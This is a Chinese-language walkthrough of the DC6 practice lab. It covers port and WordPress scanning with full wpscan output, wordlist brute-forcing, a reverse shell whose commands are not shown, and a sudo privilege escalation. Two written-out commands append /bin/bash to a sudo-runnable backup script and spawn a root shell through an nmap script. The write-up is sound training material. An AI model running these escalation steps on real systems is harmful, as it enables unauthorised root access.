DC6靶场练习

一，靶场信息

 有2点需要注意：一，需要编辑hosts文件才能访问网站；二，给了一条线索，是一个密码文件。

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二，信息收集

1，确定目标IP

 

2，端口扫描

 

 

3，漏洞扫描

 

4，修改hosts文件

 

 

5，敏感信息收集

 

6，wpscan报告

──(root💀kali)-[~]
└─# wpscan --url "http://wordy/"
WARNING: Nokogiri was built against libxml version 2.9.10, but has dynamically loaded 2.9.14
_______________________________________________________________
         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
            \  /\  /  | |     ____) | (__| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|

         WordPress Security Scanner by the WPScan Team
                         Version 3.8.18
       Sponsored by Automattic - https://automattic.com/
       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[i] It seems like you have not updated the database for some time.
[?] Do you want to update now? [Y]es [N]o, default: [N]y
[i] Updating the Database ...
[i] Update completed.

[+] URL: http://wordy/ [192.168.86.160]
[+] Started: Mon Jun 26 05:13:46 2023

Interesting Finding(s):

[+] Headers
 | Interesting Entry: Server: Apache/2.4.25 (Debian)
 | Found By: Headers (Passive Detection)
 | Confidence: 100%

[+] XML-RPC seems to be enabled: http://wordy/xmlrpc.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%
 | References:
 |  - http://codex.wordpress.org/XML-RPC_Pingback_API
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
 |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/

[+] WordPress readme found: http://wordy/readme.html
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] Upload directory has listing enabled: http://wordy/wp-content/uploads/
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] The external WP-Cron seems to be enabled: http://wordy/wp-cron.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 60%
 | References:
 |  - https://www.iplocation.net/defend-wordpress-from-ddos
 |  - https://github.com/wpscanteam/wpscan/issues/1299

[+] WordPress version 5.1.1 identified (Insecure, released on 2019-03-13).
 | Found By: Rss Generator (Passive Detection)
 |  - http://wordy/index.php/feed/, <generator>https://wordpress.org/?v=5.1.1</generator>
 |  - http://wordy/index.php/comments/feed/, <generator>https://wordpress.org/?v=5.1.1</generator>

[+] WordPress theme in use: twentyseventeen
 | Location: http://wordy/wp-content/themes/twentyseventeen/
 | Last Updated: 2023-03-29T00:00:00.000Z
 | Readme: http://wordy/wp-content/themes/twentyseventeen/README.txt
 | [!] The version is out of date, the latest version is 3.2
 | Style URL: http://wordy/wp-content/themes/twentyseventeen/style.css?ver=5.1.1
 | Style Name: Twenty Seventeen
 | Style URI: https://wordpress.org/themes/twentyseventeen/
 | Description: Twenty Seventeen brings your site to life with header video and immersive featured images. With a fo...
 | Author: the WordPress team
 | Author URI: https://wordpress.org/
 |
 | Found By: Css Style In Homepage (Passive Detection)
 |
 | Version: 2.1 (80% confidence)
 | Found By: Style (Passive Detection)
 |  - http://wordy/wp-content/themes/twentyseventeen/style.css?ver=5.1.1, Match: 'Version: 2.1'

[+] Enumerating All Plugins (via Passive Methods)

[i] No plugins Found.

[+] Enumerating Config Backups (via Passive and Aggressive Methods)
 Checking Config Backups - Time: 00:00:00 <===============================================================================================================> (137 / 137) 100.00% Time: 00:00:00

[i] No Config Backups Found.

[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register

[+] Finished: Mon Jun 26 05:13:49 2023
[+] Requests Done: 180
[+] Cached Requests: 5
[+] Data Sent: 41.508 KB
[+] Data Received: 12.78 MB
[+] Memory used: 273.164 MB
[+] Elapsed time: 00:00:03

 

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三，渗透过程

思路：nmap漏洞扫描中发现了几个用户名，线索刚好有一个密码本，可以试试爆破。

 1，导出密码本

2，使用wpscan进行爆破

 

 

 

3,在系统里找到了危险点（有可能存在任意命令执行漏洞） 

 4，进行反弹shell

 

 

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 四，进行提权

在尝试了以前所使用的提权都没有效果，去home目录里看一下。

 

jens目录下面有个文件backups.sh,mark目录下也有个文件things-to-do.txt，里面有用户graham用户的密码，切换到graham用户。

思路：发现了jens用户的无密码命令执行文件backups.sh，可以以jens的身份横向命令执行。

echo "/bin/bash" >>/home/jens/backups.sh

sudo -u jens ./backups.sh

 

 发现了具有root权限的nmap文件，接下来使用nmap进行提权就OK了。

 提权命令：

echo "os.execute('/bin/bash')">shell
nmap --script=shell

 

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五，总结

本靶场主要考查了弱口令爆破，wpscan的应用，任意命令执行漏洞和sudo提权中的nmap提权。